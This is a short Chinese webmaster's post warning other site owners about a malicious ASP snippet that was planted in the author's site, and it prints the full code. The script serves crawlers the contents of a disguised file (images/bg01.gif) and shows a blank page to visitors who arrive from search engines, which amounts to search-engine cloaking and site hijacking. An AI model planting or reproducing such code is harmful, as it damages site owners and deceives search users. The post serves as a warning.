一段让asp程序在搜素引擎打不开的代码
来源:未知 责任编辑:责任编辑 发表时间:2013-12-18 11:34 点击:次
一段让asp程序在搜素引擎打不开的代码,把我的网站害苦了,现在把它的原形呈现如下,望广大站长朋友们及早防范:
p>
p>[vb]
p><%
p>function isspider()
p>dim i,agent,searray
p>agent="agent:"&LCase(request.servervariables("http_user_agent"))
p>searray=array("googlebot","baiduspider","sogouspider","yahoo","Sosospider")
p>isspider= false
p>for i=0 to ubound(searray)
p> if (instr(agent,searray(i))>0) then isspider=true
p>next
p>end function
p>
p>
p>function fromse()
p>dim urlrefer,searray,i
p>urlrefer="refer:"&LCase(request.ServerVariables("HTTP_REFERER"))
p>fromse= false
p>if urlrefer="" then fromse= false
p>searray=array("google","baidu","sogou","yahoo","soso")
p>for i=0 to ubound(searray)
p> if (instr(urlrefer,searray(i))>0) then fromse=true
p>next
p>end function
p>
p>
p>
p>if(isspider()) then
p> dim myfso,fileurl,filecon,myfile
p> fileurl=Server.MapPath("images/bg01.gif")
p> Set myfso=Server.CreateObject("Scripting.FileSystemObject")
p> if myfso.FileExists(fileurl) then
p> Set myfile=myfso.OpenTextFile(fileurl, 1)
p> filecon=myfile.readAll
p> response.write(filecon)
p> myfile.Close
p> Set myfile=Nothing
p> Set myfso=Nothing
p> response.end
p> end if
p>end if
p>if (fromse()) then
p> response.write("<br/>")
p> response.end
p>else
p>end if
p>%>
p>
相关新闻>>
最新推荐更多>>>
- 发表评论
-
- 最新评论 更多>>